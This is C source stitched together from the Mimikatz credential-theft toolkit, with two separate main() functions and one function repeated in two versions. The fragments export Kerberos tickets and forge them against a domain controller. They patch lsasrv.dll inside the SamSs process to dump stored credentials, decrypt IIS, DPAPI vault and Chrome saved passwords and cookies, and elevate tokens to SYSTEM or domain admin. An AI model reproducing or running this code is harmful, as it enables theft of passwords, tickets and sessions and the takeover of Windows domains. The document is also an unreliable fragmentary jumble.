NTSTATUS kuhl_m_kerberos_ccache_list(int argc, wchar_t * argv[]) { kuhl_m_kerberos_ccache_enum(argc, argv, FALSE, kull_m_string_args_byName(argc, argv, L"export", NULL, NULL)); return STATUS_SUCCESS; }
void kuhl_m_iis_apphost_provider_decrypt(int argc, wchar_t * argv[], PCWSTR keyContainerName, BOOL isMachine, LPCBYTE sessionKey, DWORD szSessionKey, LPCBYTE data, DWORD szData) { BOOL isLive; PBYTE liveData; DWORD szLiveData, szPvk; HCRYPTPROV hProv; HCRYPTKEY hKey = 0, hSessionKey; PPVK_FILE_HDR pvk = NULL; PCWSTR pvkName = NULL; isLive = kull_m_string_args_byName(argc, argv, L"live", NULL, NULL); if(!kull_m_string_args_byName(argc, argv, keyContainerName, &pvkName, NULL)) kull_m_string_args_byName(argc, argv, L"pvk", &pvkName, NULL); if(isLive || pvkName) { if(liveData = (PBYTE) LocalAlloc(LPTR, szData)) { RtlCopyMemory(liveData, data, szData); szLiveData = szData; if(isLive) kprintf(L" | Live Key : %s - %s : ", keyContainerName, isMachine ? L"machine" : L"user"); if(CryptAcquireContext(&hProv, isLive ? keyContainerName : NULL, (MIMIKATZ_NT_BUILD_NUMBER <= KULL_M_WIN_BUILD_XP) ? MS_ENH_RSA_AES_PROV_XP : MS_ENH_RSA_AES_PROV , PROV_RSA_AES, (isLive ? 0 : CRYPT_VERIFYCONTEXT) | (isMachine ? CRYPT_MACHINE_KEYSET : 0))) { if(isLive) kprintf(L"OK\n"); else { if(kull_m_file_readData(pvkName, (PBYTE *) &pvk, &szPvk)) { kprintf(L" | PVK file : %s - \'%s\' : ", keyContainerName, pvkName); if(CryptImportKey(hProv, (PBYTE) pvk + sizeof(PVK_FILE_HDR), pvk->cbPvk, 0, 0, &hKey)) kprintf(L"OK\n"); else PRINT_ERROR_AUTO(L"CryptImportKey (RSA)"); } } if(isLive || hKey) { if(CryptImportKey(hProv, sessionKey, szSessionKey, hKey, 0, &hSessionKey)) { if(CryptDecrypt(hSessionKey, 0, FALSE, 0, liveData, &szLiveData)) { kprintf(L" | Password : %s\n", liveData + sizeof(DWORD) /*CRC32 ? Random ?*/); } else PRINT_ERROR_AUTO(L"CryptDecrypt"); CryptDestroyKey(hSessionKey); } else PRINT_ERROR_AUTO(L"CryptImportKey (session)"); } if(!isLive) { if(hKey) CryptDestroyKey(hKey); if(pvk) LocalFree(pvk); } CryptReleaseContext(hProv, 0); } else PRINT_ERROR_AUTO(L"CryptAcquireContext"); LocalFree(liveData); } } }
int main(int argc, char * argv[]) { EncryptionKey userKey; LPCSTR szUser, szDomain, szTarget, szService, szPassword = NULL, szKey = NULL, szSid, szRid, szKdc = NULL, szFilename = NULL; PSID sid = NULL, domainSid = NULL; DWORD ret, rid = 0; PDOMAIN_CONTROLLER_INFO cInfo = NULL; kprintf("\n" " .#####. " MIMIKATZ_FULL "\n" " .## ^ ##. \n" " ## / \\ ## /* * *\n" " ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n" " '## v ##' http://blog.gentilkiwi.com (oe.eo)\n" " '#####' ... with thanks to Tom Maddock & Sylvain Monne * * */\n\n"); if(init()) { if(!kull_m_string_args_byName(argc, argv, "ptt", NULL, NULL)) kull_m_string_args_byName(argc, argv, "ticket", &szFilename, TICKET_FILENAME); if(kull_m_string_args_byName(argc, argv, "target", &szTarget, NULL)) { if(kull_m_string_args_byName(argc, argv, "service", &szService, NULL)) { if(kull_m_string_args_byName(argc, argv, "user", &szUser, NULL)) { if(kull_m_string_args_byName(argc, argv, "domain", &szDomain, NULL)) { if(kull_m_string_args_byName(argc, argv, "key", &szKey, NULL) || kull_m_string_args_byName(argc, argv, "password", &szPassword, NULL)) { if(kull_m_string_args_byName(argc, argv, "aes256", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96; else if(kull_m_string_args_byName(argc, argv, "aes128", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96; else userKey.keytype = KERB_ETYPE_RC4_HMAC_NT; if(NT_SUCCESS(kull_m_kerberos_asn1_helper_util_stringToKey(szUser, szDomain, szPassword, szKey, &userKey))) { if(!kull_m_string_args_byName(argc, argv, "kdc", &szKdc, NULL)) { ret = DsGetDcName(NULL, szDomain, NULL, NULL, DS_IS_DNS_NAME | DS_RETURN_DNS_NAME, &cInfo); if(ret == ERROR_SUCCESS) { szKdc = cInfo->DomainControllerName + 2; kprintf("[KDC] \'%s\' will be the main server\n", szKdc); } else PRINT_ERROR("[KDC] DsGetDcName: %u\n", ret); } if(szKdc) { if(kull_m_string_args_byName(argc, argv, "sid", &szSid, NULL) && kull_m_string_args_byName(argc, argv, "rid", &szRid, NULL)) { if(ConvertStringSidToSid(szSid, &sid)) rid = strtoul(szRid, NULL, 0); else PRINT_ERROR_AUTO("ConvertStringSidToSid"); } if(!(sid && rid)) { if(szPassword) { #pragma warning(push) #pragma warning(disable:4996) impersonateToGetData(szUser, szDomain, szPassword, szKdc,&sid, &rid, _pgmptr); #pragma warning(pop) } else PRINT_ERROR("Impersonate is only supported with a password (you need KDC, SID & RID)\n"); } if(sid && rid) { kprintf("\n" "user : %s\n" "domain : %s\n" "password : %s\n" "sid : " , szUser, szDomain, szKey ? "<NULL>" : "***"); kull_m_string_displaySID(sid); kprintf("\n" "target : %s\n" "service : %s\n" "rid : %u\n" "key : " , szTarget, szService, rid); kull_m_string_printf_hex(userKey.keyvalue.value, userKey.keyvalue.length, 0); kprintf(" (%s)\n" "ticket : %s\n" , kull_m_kerberos_asn1_helper_util_etypeToString(userKey.keytype), szFilename ? szFilename : "** Pass The Ticket **"); if(szKdc) { kprintf("kdc : %s\n\n", szKdc); makeInception(szUser, szDomain, sid, rid, szTarget, szService, &userKey, szKdc, 88, szFilename); } else PRINT_ERROR("No KDC at all\n"); LocalFree(sid); } else PRINT_ERROR("Missing valid SID & RID (argument or auto)\n"); } else PRINT_ERROR("Missing one valid DC (argument or auto)\n"); if(cInfo) NetApiBufferFree(cInfo); LocalFree(userKey.keyvalue.value); } } else PRINT_ERROR("Missing password/key argument\n"); } else PRINT_ERROR("Missing domain argument\n"); } else PRINT_ERROR("Missing user argument\n"); } else PRINT_ERROR("Missing service argument\n"); } else PRINT_ERROR("Missing target argument\n"); } else PRINT_ERROR("init() failed\n"); term(); return 0; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if (CredEnumerate(NULL, flags, &credCount, &pCredential)) { for (i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; if (kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_vault(int argc, wchar_t * argv[]) { PCWSTR inFilePolicy, inFileCred; PVOID filePolicy, fileCred, out; DWORD szFilePolicy, szFileCred, szOut, len, i, mode = CRYPT_MODE_CBC; BYTE aes128[AES_128_KEY_SIZE], aes256[AES_256_KEY_SIZE]; PKULL_M_CRED_VAULT_POLICY vaultPolicy; PKULL_M_CRED_VAULT_CREDENTIAL vaultCredential; PKULL_M_CRED_VAULT_CREDENTIAL_ATTRIBUTE attribute; PKULL_M_CRED_VAULT_CLEAR clear; PVOID buffer; BOOL isAttr; HCRYPTPROV hProv; HCRYPTKEY hKey; if(kull_m_string_args_byName(argc, argv, L"cred", &inFileCred, NULL)) { if(kull_m_file_readData(inFileCred, (PBYTE *) &fileCred, &szFileCred)) { if(vaultCredential = kull_m_cred_vault_credential_create(fileCred)) { kull_m_cred_vault_credential_descr(0, vaultCredential); if(kull_m_string_args_byName(argc, argv, L"policy", &inFilePolicy, NULL)) { if(kull_m_file_readData(inFilePolicy, (PBYTE *) &filePolicy, &szFilePolicy)) { if(vaultPolicy = kull_m_cred_vault_policy_create(filePolicy)) { kull_m_cred_vault_policy_descr(0, vaultPolicy); if(kuhl_m_dpapi_unprotect_raw_or_blob(vaultPolicy->key->KeyBlob, vaultPolicy->key->dwKeyBlob, NULL, argc, argv, NULL, 0, &out, &szOut, L"Decrypting Policy Keys:\n")) { if(kull_m_cred_vault_policy_key(out, szOut, aes128, aes256)) { kprintf(L" AES128 key: "); kull_m_string_wprintf_hex(aes128, AES_128_KEY_SIZE, 0); kprintf(L"\n"); kprintf(L" AES256 key: "); kull_m_string_wprintf_hex(aes256, AES_256_KEY_SIZE, 0); kprintf(L"\n\n"); if(CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { for(i = 0; i < vaultCredential->__cbElements; i++) { if(attribute = vaultCredential->attributes[i]) { kprintf(L" > Attribute %u : ", attribute->id); if(attribute->data && (len = attribute->szData)) { if(buffer = LocalAlloc(LPTR, len)) { RtlCopyMemory(buffer, attribute->data, len); if(kuhl_m_dpapi_vault_key_type(attribute, hProv, aes128, aes256, &hKey, &isAttr)) { if(CryptDecrypt(hKey, 0, TRUE, 0, (PBYTE) buffer, &len)) { if(isAttr) { kull_m_string_wprintf_hex(buffer, len, 0); } else { kprintf(L"\n"); if(!attribute->id || (attribute->id == 100)) { if(clear = kull_m_cred_vault_clear_create(buffer)) { kull_m_cred_vault_clear_descr(1, clear); kull_m_cred_vault_clear_delete(clear); } } else kull_m_string_wprintf_hex(buffer, len, 1 | (16 << 16)); kprintf(L"\n"); } } else PRINT_ERROR_AUTO(L"CryptDecrypt"); } LocalFree(buffer); } } kprintf(L"\n"); } } CryptReleaseContext(hProv, 0); } } LocalFree(out); } kull_m_cred_vault_policy_delete(vaultPolicy); } LocalFree(filePolicy); } else PRINT_ERROR_AUTO(L"kull_m_file_readData (policy)"); } kull_m_cred_vault_credential_delete(vaultCredential); } LocalFree(fileCred); } else PRINT_ERROR_AUTO(L"kull_m_file_readData (cred)"); } else PRINT_ERROR(L"Input Cred file needed (/cred:file)\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_token_list_or_elevate(int argc, wchar_t * argv[], BOOL elevate) { KUHL_M_TOKEN_ELEVATE_DATA pData = {NULL, NULL, 0, elevate}; WELL_KNOWN_SID_TYPE type = WinNullSid; PWSTR name, domain; PCWSTR strTokenId; PPOLICY_DNS_DOMAIN_INFO pDomainInfo = NULL; kull_m_string_args_byName(argc, argv, L"user", &pData.pUsername, NULL); if(kull_m_string_args_byName(argc, argv, L"id", &strTokenId, NULL)) { pData.tokenId = wcstoul(strTokenId, NULL, 0); } else if(kull_m_string_args_byName(argc, argv, L"domainadmin", NULL, NULL)) { type = WinAccountDomainAdminsSid; if(!kull_m_net_getCurrentDomainInfo(&pDomainInfo)) PRINT_ERROR_AUTO(L"kull_m_local_domain_user_getCurrentDomainSID"); } else if(kull_m_string_args_byName(argc, argv, L"admin", NULL, NULL)) type = WinBuiltinAdministratorsSid; else if((elevate && !pData.pUsername) || kull_m_string_args_byName(argc, argv, L"system", NULL, NULL)) { type = WinLocalSystemSid; if(pData.pUsername) { PRINT_ERROR(L"No username available when SYSTEM\n"); pData.pUsername = NULL; } } if(!elevate || pData.tokenId || type || pData.pUsername) { kprintf(L"Token Id : %u\nUser name : %s\nSID name : ", pData.tokenId, pData.pUsername ? pData.pUsername : L""); if(type) { if(kull_m_net_CreateWellKnownSid(type, pDomainInfo ? pDomainInfo->Sid : NULL, &pData.pSid)) { if(kull_m_token_getNameDomainFromSID(pData.pSid, &name, &domain, NULL)) { kprintf(L"%s\\%s\n", domain, name); LocalFree(name); LocalFree(domain); } else PRINT_ERROR_AUTO(L"kull_m_token_getNameDomainFromSID"); } else PRINT_ERROR_AUTO(L"kull_m_local_domain_user_CreateWellKnownSid"); } else kprintf(L"\n"); kprintf(L"\n"); if(!elevate || pData.tokenId || pData.pSid || pData.pUsername) kull_m_token_getTokens(kuhl_m_token_list_or_elevate_callback, &pData); if(pData.pSid) LocalFree(pData.pSid); if(pDomainInfo) LsaFreeMemory(pDomainInfo); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_kerberos_list(int argc, wchar_t * argv[]) { NTSTATUS status, packageStatus; KERB_QUERY_TKT_CACHE_REQUEST kerbCacheRequest = {KerbQueryTicketCacheExMessage, {0, 0}}; PKERB_QUERY_TKT_CACHE_EX_RESPONSE pKerbCacheResponse; PKERB_RETRIEVE_TKT_REQUEST pKerbRetrieveRequest; PKERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; DWORD szData, i; wchar_t * filename; BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); status = LsaCallKerberosPackage(&kerbCacheRequest, sizeof(KERB_QUERY_TKT_CACHE_REQUEST), (PVOID *) &pKerbCacheResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { for(i = 0; i < pKerbCacheResponse->CountOfTickets; i++) { kprintf(L"\n[%08x] - 0x%08x - %s", i, pKerbCacheResponse->Tickets[i].EncryptionType, kuhl_m_kerberos_ticket_etype(pKerbCacheResponse->Tickets[i].EncryptionType)); kprintf(L"\n Start/End/MaxRenew: "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].StartTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].EndTime); kprintf(L" ; "); kull_m_string_displayLocalFileTime((PFILETIME) &pKerbCacheResponse->Tickets[i].RenewTime); kprintf(L"\n Server Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ServerName, &pKerbCacheResponse->Tickets[i].ServerRealm); kprintf(L"\n Client Name : %wZ @ %wZ", &pKerbCacheResponse->Tickets[i].ClientName, &pKerbCacheResponse->Tickets[i].ClientRealm); kprintf(L"\n Flags %08x : ", pKerbCacheResponse->Tickets[i].TicketFlags); kuhl_m_kerberos_ticket_displayFlags(pKerbCacheResponse->Tickets[i].TicketFlags); if(export) { szData = sizeof(KERB_RETRIEVE_TKT_REQUEST) + pKerbCacheResponse->Tickets[i].ServerName.MaximumLength; if(pKerbRetrieveRequest = (PKERB_RETRIEVE_TKT_REQUEST) LocalAlloc(LPTR, szData)) // LPTR implicates KERB_ETYPE_NULL { pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = /*KERB_RETRIEVE_TICKET_USE_CACHE_ONLY | */KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->TicketFlags = pKerbCacheResponse->Tickets[i].TicketFlags; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[i].ServerName; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE) pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse->Tickets[i].ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); status = LsaCallKerberosPackage(pKerbRetrieveRequest, szData, (PVOID *) &pKerbRetrieveResponse, &szData, &packageStatus); if(NT_SUCCESS(status)) { if(NT_SUCCESS(packageStatus)) { if(filename = kuhl_m_kerberos_generateFileName(i, &pKerbCacheResponse->Tickets[i], MIMIKATZ_KERBEROS_EXT)) { if(kull_m_file_writeData(filename, pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize)) kprintf(L"\n * Saved to file : %s", filename); LocalFree(filename); } LsaFreeReturnBuffer(pKerbRetrieveResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage / Package : %08x\n", packageStatus); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbRetrieveEncodedTicketMessage : %08x\n", status); LocalFree(pKerbRetrieveRequest); } } kprintf(L"\n"); } LsaFreeReturnBuffer(pKerbCacheResponse); } else PRINT_ERROR(L"LsaCallAuthenticationPackage KerbQueryTicketCacheEx2Message / Package : %08x\n", packageStatus); }
NTSTATUS kuhl_m_dpapi_chrome(int argc, wchar_t * argv[]) { PCWSTR infile; PSTR aInfile; int rc; sqlite3 *pDb; sqlite3_stmt * pStmt; LPVOID pDataOut; DWORD dwDataOutLen; __int64 i64; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(aInfile = kull_m_string_unicode_to_ansi(infile)) { rc = sqlite3_initialize(); if(rc == SQLITE_OK) { rc = sqlite3_open_v2(aInfile, &pDb, SQLITE_OPEN_READONLY, NULL); if(rc == SQLITE_OK) { if(kuhl_m_dpapi_chrome_isTableExist(pDb, "logins")) { rc = sqlite3_prepare_v2(pDb, "select signon_realm, origin_url, username_value, password_value from logins", -1, &pStmt, NULL); if(rc == SQLITE_OK) { while(rc = sqlite3_step(pStmt), rc == SQLITE_ROW) { kprintf(L"\nURL : %.*S ( %.*S )\nUsername: %.*S\n", sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0), sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1), sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2)); if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 3), sqlite3_column_bytes(pStmt, 3), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL)) { kprintf(L"Password: %.*S\n", dwDataOutLen, pDataOut); LocalFree(pDataOut); } } if(rc != SQLITE_DONE) PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb)); } else PRINT_ERROR(L"sqlite3_prepare_v2: %S\n", sqlite3_errmsg(pDb)); sqlite3_finalize(pStmt); } else if(kuhl_m_dpapi_chrome_isTableExist(pDb, "cookies")) { rc = sqlite3_prepare_v2(pDb, "select host_key, path, name, creation_utc, expires_utc, encrypted_value from cookies order by host_key, path, name", -1, &pStmt, NULL); if(rc == SQLITE_OK) { while(rc = sqlite3_step(pStmt), rc == SQLITE_ROW) { kprintf(L"\nHost : %.*S ( %.*S )\nName : %.*S\nDates : ", sqlite3_column_bytes(pStmt, 0), sqlite3_column_text(pStmt, 0), sqlite3_column_bytes(pStmt, 1), sqlite3_column_text(pStmt, 1), sqlite3_column_bytes(pStmt, 2), sqlite3_column_text(pStmt, 2)); i64 = sqlite3_column_int64(pStmt, 3) * 10; kull_m_string_displayLocalFileTime((LPFILETIME) &i64); i64 = sqlite3_column_int64(pStmt, 4) * 10; if(i64) { kprintf(L" -> "); kull_m_string_displayLocalFileTime((LPFILETIME) &i64); } kprintf(L"\n"); if(kuhl_m_dpapi_unprotect_raw_or_blob(sqlite3_column_blob(pStmt, 5), sqlite3_column_bytes(pStmt, 5), NULL, argc, argv, NULL, 0, &pDataOut, &dwDataOutLen, NULL)) { kprintf(L"Cookie: %.*S\n", dwDataOutLen, pDataOut); LocalFree(pDataOut); } } if(rc != SQLITE_DONE) PRINT_ERROR(L"sqlite3_step: %S\n", sqlite3_errmsg(pDb)); } else PRINT_ERROR(L"sqlite3_prepare_v2: %S\n", sqlite3_errmsg(pDb)); sqlite3_finalize(pStmt); } else PRINT_ERROR(L"Neither the table \'logins\' or the table \'cookies\' exist!\n"); } else PRINT_ERROR(L"sqlite3_open_v2: %S (%S)\n", sqlite3_errmsg(pDb), aInfile); rc = sqlite3_close_v2(pDb); rc = sqlite3_shutdown(); } else PRINT_ERROR(L"sqlite3_initialize: 0x%08x\n", rc); LocalFree(aInfile); } } else PRINT_ERROR(L"Input \'Login Data\' file needed (/in:\"%%localappdata%%\\Google\\Chrome\\User Data\\Default\\Login Data\")\n"); return STATUS_SUCCESS; }
int main(int argc, char * argv[]) { EncryptionKey userKey; LPCSTR szUser, szDomain, szPassword = NULL, szKey = NULL, szNew; LPSTR szWhatDC; kprintf("\n" " .#####. " MIMIKATZ_FULL "\n" " .## ^ ##. " MIMIKATZ_SECOND "\n" " ## / \\ ## /* * *\n" " ## \\ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )\n" " '## v ##' http://blog.gentilkiwi.com (oe.eo)\n" " '#####' ... with thanks to Aorato / Microsoft ... * * */\n\n"); if(init()) { if(kull_m_string_args_byName(argc, argv, "user", &szUser, NULL)) { if(kull_m_string_args_byName(argc, argv, "domain", &szDomain, NULL)) { if(kull_m_string_args_byName(argc, argv, "key", &szKey, NULL) || kull_m_string_args_byName(argc, argv, "password", &szPassword, NULL)) { if(kull_m_string_args_byName(argc, argv, "aes256", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES256_CTS_HMAC_SHA1_96; else if(kull_m_string_args_byName(argc, argv, "aes128", NULL, NULL)) userKey.keytype = KERB_ETYPE_AES128_CTS_HMAC_SHA1_96; else userKey.keytype = KERB_ETYPE_RC4_HMAC_NT; if(kull_m_string_args_byName(argc, argv, "new", &szNew, NULL)) { if(NT_SUCCESS(kull_m_kerberos_asn1_helper_util_stringToKey(szUser, szDomain, szPassword, szKey, &userKey))) { if(kull_m_kerberos_helper_net_getDC(szDomain, DS_KDC_REQUIRED, &szWhatDC)) { kprintf("[KDC] \'%s\' will be the main server\n\n" "user : %s\n" "domain : %s\n" "password : %s\n" "key : " , szWhatDC, szUser, szDomain, szKey ? "<NULL>" : "***"); kull_m_string_printf_hex(userKey.keyvalue.value, userKey.keyvalue.length, 0); kprintf(" (%s)\n", kull_m_kerberos_asn1_helper_util_etypeToString(userKey.keytype)); makeInception(szUser, szDomain, szNew, &userKey, szWhatDC, 88, 464); LocalFree(szWhatDC); } LocalFree(userKey.keyvalue.value); } } else PRINT_ERROR("Missing new password\n"); } else PRINT_ERROR("Missing password/key argument\n"); } else PRINT_ERROR("Missing domain argument\n"); } else PRINT_ERROR("Missing user argument\n"); } else PRINT_ERROR("init() failed\n"); term(); return 0; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i, j; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if(CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, ARRAYSIZE(CredpCloneCredentialReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if(hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if(!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Persist : %u - %s\n" L"Flags : %08x\n", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, kull_m_cred_CredType(pCredential[i]->Type), pCredential[i]->Persist, kull_m_cred_CredPersist(pCredential[i]->Persist), pCredential[i]->Flags ); kprintf(L"Credential : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize); kprintf(L"\n" L"Attributes : %u\n", pCredential[i]->AttributeCount ); if(kull_m_string_args_byName(argc, argv, L"attributes", NULL, NULL)) { for(j = 0; j < pCredential[i]->AttributeCount; j++) { kprintf(L" [%2u] Attribute\n", j); kprintf(L" Flags : %08x - %u\n", pCredential[i]->Attributes[j].Flags, pCredential[i]->Attributes[j].Flags); kprintf(L" Keyword : %s\n", pCredential[i]->Attributes[j].Keyword); kprintf(L" Value : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->Attributes[j].Value, pCredential[i]->Attributes[j].ValueSize); kprintf(L"\n"); } } kprintf(L"\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
